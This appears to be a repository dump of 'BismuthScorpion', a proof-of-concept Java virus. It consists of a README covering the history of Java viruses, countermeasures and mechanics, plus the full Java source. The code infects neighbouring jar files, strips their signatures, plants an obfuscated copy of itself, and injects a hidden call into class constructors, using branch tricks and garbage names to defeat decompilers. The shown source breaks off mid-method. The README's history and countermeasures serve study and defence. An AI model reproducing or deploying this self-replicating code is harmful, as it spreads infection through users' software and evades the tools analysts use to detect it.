├── .gitignore ├── src └── main │ └── java │ └── moe │ └── evelyn │ └── malware │ └── bismuthscorpion │ ├── Main.java │ └── ActualScorpion.java └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | out/ 3 | gradle* 4 | 5 | *.iml 6 | *.iws 7 | *.swp 8 | 9 | *.sh 10 | 11 | ~$* 12 | *~ 13 | .* 14 | 15 | !/.gitignore 16 | 17 | -------------------------------------------------------------------------------- /src/main/java/moe/evelyn/malware/bismuthscorpion/Main.java: -------------------------------------------------------------------------------- 1 | package moe.evelyn.malware.bismuthscorpion; 2 | 3 | import java.io.*; 4 | 5 | public class Main 6 | { 7 | public static void main (String[] args) throws IOException { 8 | ActualScorpion.run(); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BismuthScorpion 2 | This is a proof of concept java virus, which infects jars contained in the same directory as itself, and incorporates 3 | a few novel java anti-analysis techniques. 4 | 5 | ## Self-replication in Java, prior and post 6 | The obvious caveat is that this is what I'm aware of. I did a little research when I started out with Bismuth and 7 | couldn't find anything, but I missed Strangebrew, Cheshire's author might well have missed Bismuth, and Neko's author did 8 | completely their own thing (but probably won't be willing to answer our questions, even if I knew who to ask). 9 | 10 | ### Strangebrew (1998) 11 | * Virus wikidot [article](http://virus.wikidot.com/strangebrew) 12 | * Virus Bulletin [Sept 1998](https://www.virusbulletin.com/uploads/pdf/magazine/1998/199809.pdf) (page 11) 13 | * ftp://static.zedz.net/pub/security/info/textfiles/codebreakers-vx-zine/codebreakers-4/ (Codebreakers VX Zine, 4th release) 14 | 15 | Widely credited as the first Java virus, written by an Australian university student, and published in the 4th release of 16 | Codebreakers VX Zine, this came with a helpful tutorial introducing readers to the Java classfile format, as well as full source code. 17 | 18 | The virus injects its own method into nearby .class files, apparently it was a little buggy, but the overall concept was sound. 19 | 20 | ### BeanHive (1999) 21 | * Virus Wikidot [article](http://virus.wikidot.com/beanhive) 22 | * Kaspersky [summary](https://threats.kaspersky.com/en/threat/Virus.Java.BeanHive/) 23 | * ftp://static.zedz.net/pub/security/info/textfiles/codebreakers-vx-zine/codebreakers-5/ (Codebreakers VX Zine, 5th release) 24 | 25 | Comparable mechanism to the later Nekoclient/« Fractureiser », although more verbose, infection is with a stub which loads a classfile from 26 | a remote URL. Written by the same author as Strangebrew, though the tutorial is sadly not as detailed. 27 | 28 | *What's that you say? You don't know anything about java? Don't worry your little head about it* - Landing Camel 29 | 30 | ### Handjar (No later than 2013) 31 | * Virus Bulletin [Dec 2013](https://www.virusbulletin.com/uploads/pdf/magazine/2013/201312.pdf) (page 15) 32 | 33 | Self-replication by changing the entry point in the manifest. Crude, probably a better time than dealing with 34 | bytecode. 35 | 36 | ### BismuthScorpion (2019) 37 | Self-replication by copying the payload/infector into a target jar, and modifying a constructor to point to it. 38 | (You are here) 39 | 40 | ### Cheshire (2020) 41 | * [source](https://git.blackmarble.sh/backup/MalwareSourceCode/-/tree/main/Java/Virus.Java.Cheshire.a) (blackmarble) 42 | * [source](https://github.com/vxunderground/MalwareSourceCode/tree/main/Java/Virus.Java.Cheshire.a) (github) 43 | * [slides](https://github.com/mgrube/recon_22/blob/main/Samsara_Recon.pdf) 44 | 45 | A self-contained example presented at Montreal's REcon in 2022, Cheshire is a masterpiece, it's some really impressive work, 46 | and it's what I'd refer people to if they needed an example of this phenomenon. I can empathise with the author's 47 | frustration with stack frame maps, and with spending hours staring at the classfile docs! 48 | 49 | ### Nekoclient (2023) 50 | * [source](https://github.com/clrxbl/NekoClient) 51 | 52 | The final stage of malware involved in an interesting incident attacking Minecraft developers and players, making good use of the 53 | inadequate security around Minecraft mods. The final stage does a lot of interesting things (session stealing was used to good effect 54 | in the attack), but includes a replication mechanism, albeit not strictly straightforward self-replication, inserting a small stub into 55 | classfile constructors to load a classfile from a URL. 56 | 57 | The heavy classfile lifting is done by use of the ObjectWeb asm library, as someone who's spent many days living inside Java's 58 | classfile docs, I resent this. 59 | 60 | The author of this malware seemingly uploaded an unobfuscated version of it by accident (lol), and the source linked above is a 61 | decompilation of that. I'm unsure which specific decompiler was used on this repo (this is quite an important consideration when 62 | dealing with Java malware), though I know some of those analysing it are aware of CFR, the decompiler I favour for this work, and 63 | the code seems to demonstrate the replication part just fine in any case. 64 | 65 | I've written previously about the risk of something like this happening around Minecraft, and I suppose Bismuth is my "I told you so" 66 | card, but this isn't a very satisfying feeling. I asked for samples in the espernet channel, and was met with an "interesting" 67 | response from the self-appointed responders, I'm also aware of some of the discussions which have taken place between 68 | developers/maintainers of launchers and mod platforms; I'm not at all confident that security around Minecraft modding will be 69 | meaningfully improved. 70 | 71 | I look forward to adding more entries to this section! 72 | 73 | ## Countermeasures 74 | * Ensure your jarfiles are read only (easy) 75 | * Sign jarfiles, and [require signatures](https://blog.frankel.ch/jvm-security/2/) (hard) 76 | 77 | ## Licence 78 | Creative Commons BY-NC-SA 4.0 79 | 80 | ## Mechanics overview 81 | ### run 82 | This is the entry point. This returns if it's already been run by one of the many invocations from constructors. 83 | This function iterates through jar files in the same directory, calling `infectJar` on them. 84 | 85 | ### infectJar 86 | The jarfile is opened. Any signature files present are stripped (it's more likely they'll be present than mandatory), and this method returns 87 | early if any filenames contain the infection signature, which consists of every odd-indexed character being 'w' or greater. 88 | 89 | ActualScorpion is streamed into into a .class file in the root of the jar, with a random name complying with the above signature, through the `transformSelf` 90 | function, which obfuscates the class, and updates it with its new name. 91 | 92 | A random selection of classfiles present in the jar are streamed through `injectInvoke`, which inserts an invocation referencing 93 | ActualScorpion's `run`, reverting the file if this method returns true, indicating a condition which would prevent classfile verification. 94 | 95 | ### injectInvoke 96 | This inserts the relevant references to the obfuscated ActualScorpion's `run` into the constant pool, and prepends an invokestatic instruction 97 | referencing this into the Code attribute of the first method (invariably ``, the constructor). This is surrounded by bytecode which 98 | frustrates some analysis tools if the classfile version if low enough that stack frame maps aren't mandatory on branches. 99 | 100 | The exceptions table in `Code` is offset to accomodate the new bytecode, as are the `LocalVariableTable` and `LocalVariableTypeTable` attributes, 101 | if present. 102 | 103 | If a stack frame map is present, this method returns true, to indicate to `infectJar` that the file needs to be reverted, as it'll fail verification 104 | without appropriate amendments to the stack frame map. Constructors aren't usually complex enough to require stack frame maps, so it's probably 105 | not worthwhile to add this functionality. 106 | 107 | ### transformSelf 108 | 109 | This changes ActualScorpion references to refer to the randomly generated name selected in `infectJar`, and applies obfuscation throughout. 110 | The constant pool is loaded into a linked hashmap and written out at the end, in order to allow manipulation of strings informed by later 111 | contents of the classfile. 112 | 113 | ## Obfuscation overview 114 | 115 | ### injectInvoke 116 | * A second `Code` string is inserted into the constant pool, which `` references. A tool which expects only the first instance of `Code` 117 | in the constant pool to be used for a method's `Code` attribute will treat the constructor as an empty method. 118 | * Constructor access flags are forced to synthetic, a flag intended to indicate members not present in the source. Some tools 119 | omit synthetic members from their output 120 | 121 | If the classfile version permits, invokestatic is supplemented with branches. Some tools misinterpret wide branches, which can be exploited by 122 | using a wide jump into what would otherwise be dead code. The tools regard it as such, and optimise it out. 123 | 124 | ``` 125 | ; A7 00 09 (+9) 126 | goto first 127 | 128 | second: 129 | 130 | ; B8 00 ?? ?? 131 | ; The hidden invocation! 132 | invokestatic ActualScorpion run ()V 133 | 134 | ; A7 00 08 (+8) 135 | goto third 136 | 137 | first: 138 | 139 | ; C8 FF FF FF FA (-6) 140 | goto_w second 141 | 142 | third: 143 | ``` 144 | 145 | ### transformSelf 146 | * The SourceFile string is set to a zalgoified string, containing `\033(0 \033[42;5;35m`, an escape sequence which puts a terminal into 147 | graphical mode, with magenta text on a green background. This will be displayed on the terminal if an exception occurs anywhere in this file. 148 | * All permitted access flags are set. This serves two functions: Making life harder for tools, and causing confusion to a human using them, given 149 | the relative obscurity of some of these keywords 150 | - Class: final, synthetic 151 | - Field: volatile, transient, synthetic 152 | - Method: final, synchronized, bridge, strictfp, synthetic 153 | * Method and field names (aside from `run`, `` and ``) are set to 65280 randomly selected mostly unprintable characters (`'\x01'`..`'-'`). 154 | Some tools won't escape these, but most will escape unprintable characters in the `\uXXXX` form, a potential sixfold increase in member name length, 155 | every time the member is referenced. 156 | * Method `LocalVariableTable` and `LocalVariableTypeTable` attributes are changed to offer no useful hints as to the names of variables 157 | * Method `LineNumberTable` attributes, which correspond bytecode to line numbers for debugging and analysis, are made less accurate 158 | -------------------------------------------------------------------------------- /src/main/java/moe/evelyn/malware/bismuthscorpion/ActualScorpion.java: -------------------------------------------------------------------------------- 1 | package moe.evelyn.malware.bismuthscorpion; 2 | 3 | import java.net.JarURLConnection; 4 | import java.net.URI; 5 | import java.net.URL; 6 | import java.io.*; 7 | import java.nio.file.*; 8 | import java.util.Enumeration; 9 | import java.util.HashMap; 10 | import java.util.LinkedHashMap; 11 | import java.util.Random; 12 | import java.util.zip.ZipEntry; 13 | import java.util.zip.ZipFile; 14 | 15 | public class ActualScorpion 16 | { 17 | private static boolean instanceHasRun = false; 18 | private static String PATH_THIS_CLASS; 19 | private static String PATH_THIS_JAR; 20 | 21 | static { 22 | String className = ActualScorpion.class.getName().replace('.', '/'); 23 | PATH_THIS_CLASS = ActualScorpion.class.getResource("/" + className + ".class").toString(); 24 | 25 | String ownPath = PATH_THIS_CLASS.replace("jar:file:", ""); 26 | PATH_THIS_JAR = ownPath.substring(0, ownPath.lastIndexOf(".jar!")+4); 27 | } 28 | 29 | private static String getRandomName() { 30 | // This would look nicer as a String, especially in a disassembler, and that's really just no fun 31 | char[] a = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '_', 'а', 'е', 'о', 'р', 'с', 'А', 'Е', 'О', 'Р', 'С'}; 32 | char[] b = {'w', 'x', 'y', 'z', 'а', 'е', 'о', 'р', 'с', 'А', 'Е', 'О', 'Р', 'С'}; 33 | char[] c = null; 34 | Random rand = new Random(); 35 | StringBuilder builder = new StringBuilder(); 36 | for(int i=0; i = 8) { 49 | for (int i = 0; i < 8; i++) { 50 | if ((i&1)==1 && filename.charAt(i) < 'w') { 51 | return false; 52 | } 53 | } 54 | return true; 55 | } else { 56 | return false; 57 | } 58 | } 59 | 60 | // Unprintable garbage in the lower range of ascii, avoiding forbidden .;[/<> 61 | private static String getRandomString(int length) { 62 | Random rand = new Random(); 63 | StringBuilder builder = new StringBuilder(); 64 | for(int i=0; i < length; i++) { 65 | builder.append((char)(rand.nextInt(0x2D)+1)); // \x01..\x2D '\x01'..'-' 66 | } 67 | return builder.toString(); 68 | } 69 | 70 | public static DataInputStream thisAsStream() throws IOException{ 71 | JarURLConnection jurlc = (JarURLConnection) new URL(PATH_THIS_CLASS).openConnection(); 72 | return new DataInputStream(jurlc.getInputStream()); 73 | } 74 | 75 | public static void run() { 76 | // Halfhearted effort to constrain runaway infection problems 77 | if (instanceHasRun) { 78 | return; 79 | } else { 80 | instanceHasRun = true; 81 | } 82 | 83 | try { 84 | File enclosingDirectory = new File(PATH_THIS_JAR).getParentFile(); 85 | File[] victimFiles = enclosingDirectory.listFiles(); 86 | if (victimFiles!=null) { 87 | for(File victim : victimFiles) { 88 | // We're only interested in jars which aren't us 89 | if(!victim.getAbsolutePath().endsWith(".jar") || victim.getAbsolutePath().equals(PATH_THIS_JAR)) continue; 90 | infectJar(victim); 91 | } 92 | } 93 | } catch (Exception e) { 94 | e.printStackTrace(); 95 | } 96 | } 97 | 98 | protected static void infectJar(File jarFile) { 99 | Random rand = new Random(); 100 | try (FileSystem fs = FileSystems.newFileSystem(URI.create("jar:" + new File(jarFile.getAbsolutePath()).toURI()), new HashMap<>())){ 101 | ZipFile zipFile = new ZipFile(jarFile); 102 | 103 | Enumeration zipEntryEnumerator = zipFile.entries(); 104 | 105 | while(zipEntryEnumerator.hasMoreElements()) { 106 | String fileName = ((ZipEntry) zipEntryEnumerator.nextElement()).getName(); 107 | String fileNameLower = fileName.toLowerCase(); 108 | // Check if jarfile contains incredibly blatant signature, don't continue if it does. This file is already infected. 109 | if (fileNameIsSignature(fileName)) { 110 | return; 111 | } 112 | // Signatures are always verified, but rarely mandatory 113 | if (fileNameLower.startsWith("meta-inf/")) { 114 | if (fileNameLower.endsWith(".sf")||fileNameLower.endsWith(".rsa")) { 115 | Files.delete(fs.getPath(fileName)); 116 | } 117 | } 118 | } 119 | 120 | String chosenName = getRandomName(); 121 | System.out.println("+ " + jarFile + "!" + chosenName + ".class"); 122 | DataOutputStream dos = new DataOutputStream(Files.newOutputStream(fs.getPath(chosenName + ".class"))); 123 | transformSelf(thisAsStream(), dos, chosenName); 124 | dos.close(); 125 | 126 | zipEntryEnumerator = zipFile.entries(); 127 | 128 | while(zipEntryEnumerator.hasMoreElements()) { 129 | String fileName = ((ZipEntry) zipEntryEnumerator.nextElement()).getName(); 130 | // There's not much point trying to infect non-classfiles! 131 | if (!fileName.endsWith(".class")) continue; 132 | // Only infect a proportion of the classfiles! 133 | if (rand.nextInt(5) == 0) { 134 | System.out.println(jarFile.getAbsolutePath() + "!" + fileName); 135 | // For some reason, it seems you can't manipulate a file in place 136 | // The solution is simple enough - Rename the original, put our manipulated version in its place, then delete the renamed copy 137 | Files.move(fs.getPath(fileName), fs.getPath(fileName + "_")); 138 | boolean success = false; 139 | try (DataOutputStream classDos = new DataOutputStream(Files.newOutputStream(fs.getPath(fileName)))) { 140 | try (DataInputStream classDis = new DataInputStream(Files.newInputStream(fs.getPath(fileName + "_")))) { 141 | success = injectInvoke(classDis, classDos, chosenName, "run", "()V"); 142 | } catch (Exception e) { 143 | e.printStackTrace(); 144 | } 145 | } catch (Exception e) { 146 | e.printStackTrace(); 147 | } 148 | if (success) { 149 | // Remove renamed source file 150 | Files.delete(fs.getPath(fileName + "_")); 151 | } else { 152 | // ... unless injection failed. Most likely the target possesses a stack frame map 153 | Files.delete(fs.getPath(fileName)); 154 | Files.move(fs.getPath(fileName + "_"), fs.getPath(fileName)); 155 | } 156 | } 157 | } 158 | } catch (Exception e) { 159 | e.printStackTrace(); 160 | } 161 | } 162 | 163 | protected static boolean injectInvoke (DataInputStream dis, DataOutputStream dos, String cname, String mname, String mdef) { 164 | int access = 0; 165 | try { 166 | dos.writeInt(dis.readInt()); // Magic 167 | int versionMinor = dis.readUnsignedShort(); // Reading for checks 168 | int versionMajor = dis.readUnsignedShort(); 169 | 170 | dos.writeShort(versionMinor); 171 | dos.writeShort(versionMajor); 172 | 173 | // Constant pool 174 | int codePointer = 0; 175 | int localVariableTablePointer = 0; 176 | int localVariableTypeTablePointer = 0; 177 | int stackMapTablePointer = 0; 178 | 179 | boolean noStackMaps = versionMajor <= 50; //SE6 at the very least doesn't require this 180 | 181 | int cpCount = dis.readUnsignedShort(); 182 | dos.writeShort(cpCount+7); // Offset to accommodate new additions 183 | 184 | for (int i = 1; i < cpCount; i++) { 185 | int tag = dis.readUnsignedByte(); 186 | dos.writeByte(tag); 187 | switch(tag) { 188 | case 1: //CONSTANT_Utf8 189 | String s = dis.readUTF(); 190 | dos.writeUTF(s); 191 | // First Code *should* be the one which Code attributes reference 192 | if ("Code".equals(s) && codePointer==0) 193 | codePointer = i; 194 | // This file's already been infected, revert it 195 | if ("Code".equals(s) && i == cpCount - 1) 196 | return false; 197 | if ("LocalVariableTypeTable".equals(s) && localVariableTypeTablePointer == 0) 198 | localVariableTypeTablePointer = i; 199 | if ("LocalVariableTable".equals(s) && localVariableTablePointer == 0) 200 | localVariableTablePointer = i; 201 | if ("StackMapTable".equals(s) && stackMapTablePointer == 0) 202 | stackMapTablePointer = i; 203 | // If "StackMapTable" is present in the constant pool, it's *probably* for a stack map 204 | if ("StackMapTable".equals(s)) 205 | noStackMaps = false; 206 | break; 207 | case 3: //CONSTANT_Integer 208 | case 4: //CONSTANT_Float 209 | dos.writeInt(dis.readInt()); //u4 210 | break; 211 | case 5: //CONSTANT_Long 212 | case 6: //CONSTANT_Double 213 | dos.writeLong(dis.readLong()); //u8 214 | i++; // "In retrospect, making 8-byte constants take two constant pool entries was a poor choice." - JVM specification 215 | break; 216 | case 7: //CONSTANT_Class 217 | case 8: //CONSTANT_String 218 | case 16: //CONSTANT_MethodType 219 | dos.writeShort(dis.readUnsignedShort()); //u2 220 | break; 221 | case 9: //CONSTANT_Fieldref 222 | case 10: //CONSTANT_Methodref 223 | case 11: //CONSTANT_InterfaceMethodref 224 | case 12: //CONSTANT_NameAndType 225 | case 18: //CONSTANT_InvokeDynamic 226 | dos.writeInt(dis.readInt()); //u2 u2 227 | break; 228 | case 15: //CONSTANT_MethodHandle u1 u2 229 | dos.writeByte(dis.readUnsignedByte()); 230 | dos.writeShort(dis.readUnsignedShort()); 231 | break; 232 | default: 233 | throw new Exception(); 234 | } 235 | } 236 | 237 | access = dis.readUnsignedShort(); 238 | 239 | dos.writeByte(1); //CONSTANT_Utf8 240 | dos.writeUTF(cname); //classname "Dogecoin" 241 | 242 | dos.writeByte(7); //CONSTANT_Class 243 | dos.writeShort(cpCount); // Reference to UTF8 "Dogecoin" 244 | 245 | dos.writeByte(1); //CONSTANT_Utf8 246 | dos.writeUTF(mname); // Method name "mineDogecoinPls" 247 | 248 | dos.writeByte(1); //CONSTANT_Utf8 249 | dos.writeUTF(mdef); // Method signature "()V" 250 | 251 | dos.writeByte(12); //CONSTANT_NameAndType 252 | dos.writeShort(cpCount + 2); // Name index (mineDogecoinPls) 253 | dos.writeShort(cpCount + 3); // Definition index ( ()V ) 254 | 255 | dos.writeByte(10); //CONSTANT_Methodref 256 | dos.writeShort(cpCount + 1); // ->class->"Dogecoin" 257 | dos.writeShort(cpCount + 4); // ->nameandtype 258 | 259 | dos.writeByte(1); // CONSTANT_Utf8 260 | dos.writeUTF("Code"); 261 | 262 | System.out.println(String.format("+ [%3s] 1 UTF8 '%s'", cpCount, cname)); 263 | System.out.println(String.format("+ [%3s] 7 Class @%s", cpCount + 1, cpCount)); 264 | System.out.println(String.format("+ [%3s] 1 UTF8 %s", cpCount + 2, mname)); 265 | System.out.println(String.format("+ [%3s] 1 UTF8 '%s'", cpCount + 3, mdef)); 266 | System.out.println(String.format("+ [%3s] 12 NameAndType @%s, @%s", cpCount + 4, cpCount + 2, cpCount + 3)); 267 | System.out.println(String.format("+ [%3s] 10 MethodRef @%s, @%s", cpCount + 5, cpCount + 1, cpCount + 4)); 268 | System.out.println(String.format("+ [%3s] 1 UTF8 '%s'", cpCount + 6, "Code")); 269 | 270 | int methodRefPointer = cpCount+5; 271 | int secondaryCodePointer = cpCount+6; 272 | 273 | dos.writeShort(access); // access 274 | dos.writeShort(dis.readUnsignedShort()); //u2 cpref this 275 | dos.writeShort(dis.readUnsignedShort()); //u2 cpref super 276 | 277 | // Interfaces 278 | int ifCount = dis.readUnsignedShort(); 279 | dos.writeShort(ifCount); 280 | for (int i = 0; i 307 | int methodCount = dis.readUnsignedShort(); 308 | dos.writeShort(methodCount); 309 | 310 | // I'm not sure a 0 method count is even legal 311 | if (methodCount > 0) { 312 | dos.writeShort(dis.readUnsignedShort()|0x1000); // Access, force to synthetic if it isn't already for anti-analysis 313 | dos.writeShort(dis.readUnsignedShort()); //u2 cpref name 314 | dos.writeShort(dis.readUnsignedShort()); //u2 cpref descriptor 315 | 316 | int attrCount = dis.readUnsignedShort(); 317 | dos.writeShort(attrCount); 318 | 319 | for (int j = 0; j < attrCount; j++) { 320 | int attrType = dis.readUnsignedShort(); //u2 cpref 321 | int attrLen = dis.readInt(); 322 | 323 | if(attrType==codePointer) { 324 | // Typically there's only usually one 'Code' tag in the constant pool. This isn't mandatory 325 | // But it's an assumption that can be made in tools 326 | dos.writeShort(secondaryCodePointer); 327 | int codeOffset = 3; 328 | // SE6 (50) and lower don't support stack frame maps, which allows for this anti-analysis 329 | if (noStackMaps) { 330 | codeOffset = 14; 331 | } 332 | 333 | dos.writeInt(attrLen+codeOffset); // offset for injected bytecode 334 | 335 | int stack = dis.readUnsignedShort(); 336 | int locals = dis.readUnsignedShort(); 337 | dos.writeShort(stack); //u2 stack 338 | dos.writeShort(locals); //u2 locals 339 | 340 | int codeLength = dis.readInt(); // u4 code length. s4 because no unsigned int 341 | dos.writeInt(codeLength+codeOffset); // offset for injected bytecode 342 | 343 | byte[] code = new byte[codeLength]; 344 | dis.read(code, 0, codeLength); 345 | 346 | if (noStackMaps) { 347 | //00 -> A7 00 09 348 | dos.writeByte(0xA7); //goto +9 349 | dos.writeShort(9); 350 | } 351 | 352 | //(00) 03 -> B8 00 ?? 353 | dos.writeByte(0xB8); //invokestatic 354 | dos.writeShort(methodRefPointer); // cpref for method 355 | 356 | if (noStackMaps) { 357 | //06 -> A7 00 08 358 | dos.writeByte(0xA7); //goto +8 359 | dos.writeShort(8); 360 | 361 | //09 -> C8 FF FF FF FA 362 | dos.writeByte(0xC8); //goto_w -6 363 | dos.writeInt(-6); 364 | } 365 | 366 | //(04) 0E -> 367 | dos.write(code); 368 | 369 | int exceptionCount = dis.readUnsignedShort(); 370 | dos.writeShort(exceptionCount); 371 | for (int k = 0; k < exceptionCount; k++) { 372 | dos.writeShort(dis.readUnsignedShort()+codeOffset); //offsets etc 373 | dos.writeShort(dis.readUnsignedShort()+codeOffset); 374 | dos.writeShort(dis.readUnsignedShort()+codeOffset); 375 | dos.writeShort(dis.readUnsignedShort()); 376 | } 377 | 378 | int codeAttrCount = dis.readUnsignedShort(); 379 | dos.writeShort(codeAttrCount); 380 | 381 | // Attributes need to be offset to deal with the changes! 382 | for (int z = 0; z < codeAttrCount; z++) { 383 | int codeAttrType = dis.readUnsignedShort(); //u2 cpref 384 | dos.writeShort(codeAttrType); 385 | 386 | int codeAttrLen = dis.readInt(); 387 | dos.writeInt(codeAttrLen); 388 | 389 | // These are supposedly only for debugging, but the JVM still verifies them anyway 390 | if (codeAttrType==localVariableTablePointer || codeAttrType==localVariableTypeTablePointer) { 391 | int lvtLength = dis.readUnsignedShort(); 392 | dos.writeShort(lvtLength); 393 | for (int cl = 0; cl < lvtLength; cl++) { 394 | dos.writeShort(dis.readUnsignedShort() + codeOffset); //u2 start_pc 395 | dos.writeShort(dis.readUnsignedShort()); //u2 length 396 | dos.writeShort(dis.readUnsignedShort()); //u2 cpref name_index 397 | dos.writeShort(dis.readUnsignedShort()); //u2 cpref descriptor_index 398 | dos.writeShort(dis.readUnsignedShort()); //u2 cpref index 399 | } 400 | } else if (codeAttrType==stackMapTablePointer) { 401 | // Stack frame maps are incredibly difficult to deal with, and are relatively rare for 402 | // TODO: Stack frame maps 403 | return false; 404 | } else { 405 | byte[] attrData = new byte[codeAttrLen]; 406 | dis.read(attrData, 0, codeAttrLen); 407 | dos.write(attrData); 408 | } 409 | } 410 | break; // We've injected the bytecode, and offset the attributes, there's nothing more we want to do 411 | } else { 412 | dos.writeShort(attrType); 413 | byte[] attrData = new byte[attrLen]; 414 | dis.read(attrData, 0, attrLen); 415 | dos.writeInt(attrLen); 416 | dos.write(attrData); 417 | } 418 | } 419 | } 420 | 421 | // The remainder! 422 | byte[] data = new byte[1024]; 423 | int bytesRead = dis.read(data); 424 | while (bytesRead != -1) { 425 | dos.write(data, 0, bytesRead); 426 | bytesRead = dis.read(data); 427 | } 428 | dos.flush(); 429 | return true; 430 | } catch (Exception e) { 431 | e.printStackTrace(); 432 | } 433 | return false; 434 | } 435 | 436 | protected static String getPoolString(LinkedHashMap pool, int index) { 437 | Object o = pool.get(index); 438 | if (o instanceof String) { 439 | return (String)o; 440 | } else { 441 | byte[] data = (byte[])o; 442 | return (String)pool.get((int)data[1]&0xFF<<8 + (int)data[2]&0xFF); 443 | } 444 | } 445 | 446 | protected static boolean transformSelf (DataInputStream dis, DataOutputStream dos, String newClassName) { 447 | try { 448 | dos.writeInt(dis.readInt()); // Magic 449 | dos.writeShort(dis.readUnsignedShort()); // Version minor 450 | dos.writeShort(dis.readUnsignedShort()); // Version major 451 | 452 | // Constant pool - kept in a nice hashmap for manipulation purposes! 453 | 454 | int cpCount = dis.readUnsignedShort(); 455 | 456 | // If this is parameterised, the obfuscation causes LVTT<->LVT mismatches in verification 457 | LinkedHashMap constantPool = new LinkedHashMap<>(); 458 | 459 | for (int i = 1; i < cpCount; i++) { 460 | int tag = dis.readUnsignedByte(); 461 | int tagLen = 0; 462 | switch(tag) { 463 | case 1: //CONSTANT_Utf8 464 | String s = dis.readUTF(); 465 | // The first replacement is necessary whenever this replicates, the second is only useful for replication from this iteration 466 | s = s.replace("ActualScorpion", newClassName).replace("moe/evelyn/malware/bismuthscorpion/", ""); 467 | // This replacement isn't strictly speaking /necessary/, but it's good fun if there's an exception 468 | // The only string this will match is the one referenced by the SourceFile attribute. It's not validated in any way 469 | // But appears in stack traces nonetheless, entirely unescaped 470 | if (s.endsWith(".java")&&s.length()>5) { // Don't really want to match *this* .java in the pool 471 | // Zalgo seems appropriate. The control codes put the terminal into graphics mode, pink on green 472 | s = " ̡͚͒͋ͬ̅͋H͎̲̘̣͛̔ͫͦ̂̇ͯ͞e͓̠ͣͧͩ̎̔̈̿͟ ̶͕͕̮̲ͦ̎̊ͫ̉̃ẅ͚̪̼͔͚͇́͊ͨ̾̇̆ͯh͍̥̥̪̠̽͗ͧo̞͔͇̺̥̒ ̢̦̯̙̇W̪̫̗̙̠͎̐̎̊̍̔̚ã̴̎̏̍̓i͈̊ͮ̆͋ͣt͌̃ͭ̑̊̒ͫs̗͇͒̏ͤ̈͐͑̊ ͎̯͍̲̯̱̦͌ͧ̂B̼̝̯̹͎̞̭͒ͥͤ͛̀e͉̳͗̊̊̓̎̋̐͠h̜̹̻̋̄ͩ̉͌̒i̯̮͛ͯ̾͗̋͂n͉̺̿d͉̥͈̩͚̰͍̄̐ͨ̐̊ͪͮ ͍̦̹ͩT̢͚̗͌̌h͖͚̻̗͍̫ͭ̊̓̽̄ͨ͗e̤̻̭͍͑̇̚ ͓̦̳̰͍̘W̬̫̹̙͛̿͗̕ͅa̒̂ͨ̍̈l̡͕̗̼̔̊͂l̷̳̪͖͚̊̅̂̎̋̓̆.̲̺ͥ̃̚͢\n̒\033(0 \033[42;5;35m.java"; 473 | } 474 | constantPool.put(i, s); 475 | break; 476 | case 3: //CONSTANT_Integer 477 | case 4: //CONSTANT_Float 478 | tagLen = 4; //u4 479 | break; 480 | case 5: //CONSTANT_Long 481 | case 6: //CONSTANT_Double 482 | tagLen = 8; //u8 483 | break; 484 | case 7: //CONSTANT_Class 485 | case 8: //CONSTANT_String 486 | case 16: //CONSTANT_MethodType 487 | tagLen = 2; //u2 cpref 488 | break; 489 | case 9: //CONSTANT_Fieldref 490 | case 10: //CONSTANT_Methodref 491 | case 11: //CONSTANT_InterfaceMethodref 492 | case 12: //CONSTANT_NameAndType 493 | case 18: //CONSTANT_InvokeDynamic 494 | tagLen = 4; //u2 u2 495 | break; 496 | case 15: //CONSTANT_MethodHandle u1 u2 497 | tagLen = 3; 498 | break; 499 | default: 500 | throw new Exception(); 501 | } 502 | if (tagLen>0) { 503 | byte[] data = new byte[1+tagLen]; 504 | data[0] = (byte)tag; 505 | dis.read(data, 1, tagLen); 506 | constantPool.put(i, data); 507 | if (tagLen==8) { 508 | i++; // "In retrospect, making 8-byte constants take two constant pool entries was a poor choice." - JVM specification 509 | } 510 | } 511 | } 512 | 513 | // The constant pool has to be output before the rest of the file, so we need to put the rest in its own holding structure 514 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 515 | DataOutputStream body = new DataOutputStream(baos); 516 | 517 | body.writeShort(dis.readUnsignedShort()|0x1010); //u2 access: 0x0010 final, 0x1000 synthetic 518 | body.writeShort(dis.readUnsignedShort()); //u2 cpref this 519 | body.writeShort(dis.readUnsignedShort()); //u2 cpref super 520 | 521 | // Interfaces 522 | int ifCount = dis.readUnsignedShort(); 523 | body.writeShort(ifCount); 524 | for (int i = 0; i 561 | int methodNameRef = dis.readUnsignedShort(); 562 | body.writeShort(methodNameRef); //u2 cpref name 563 | body.writeShort(dis.readUnsignedShort()); //u2 cpref descriptor 564 | 565 | // Now we know the method name, let's make it a little bit less helpful 566 | String methodName = getPoolString(constantPool, methodNameRef); 567 | if (!methodName.startsWith("<")&&!methodName.equals("run")) { 568 | constantPool.put(methodNameRef, getRandomString(0xff00)); 569 | } 570 | 571 | int attrCount = dis.readUnsignedShort(); 572 | body.writeShort(attrCount); 573 | 574 | // Method attributes 575 | for (int j = 0; j < attrCount; j++) { 576 | int attrType = dis.readUnsignedShort(); //u2 cpref 577 | body.writeShort(attrType); //Should be equal to codePointer if this is the bytecode 578 | int attrLen = dis.readInt(); 579 | body.writeInt(attrLen); 580 | if(getPoolString(constantPool, attrType).equals("Code")) { 581 | body.writeShort(dis.readUnsignedShort()); //u2 stack 582 | body.writeShort(dis.readUnsignedShort()); //u2 locals 583 | 584 | int codeLength = dis.readInt(); //u4 code length 585 | body.writeInt(codeLength); // u4 code length 586 | byte[] code = new byte[codeLength]; 587 | dis.read(code, 0, codeLength); 588 | body.write(code); 589 | 590 | int exceptionCount = dis.readUnsignedShort(); 591 | body.writeShort(exceptionCount); 592 | for (int k = 0; k < exceptionCount; k++) { 593 | body.writeShort(dis.readUnsignedShort()); 594 | body.writeShort(dis.readUnsignedShort()); 595 | body.writeShort(dis.readUnsignedShort()); 596 | body.writeShort(dis.readUnsignedShort()); 597 | } 598 | int codeAttrCount = dis.readUnsignedShort(); 599 | body.writeShort(codeAttrCount); 600 | 601 | // Code has its own attributes 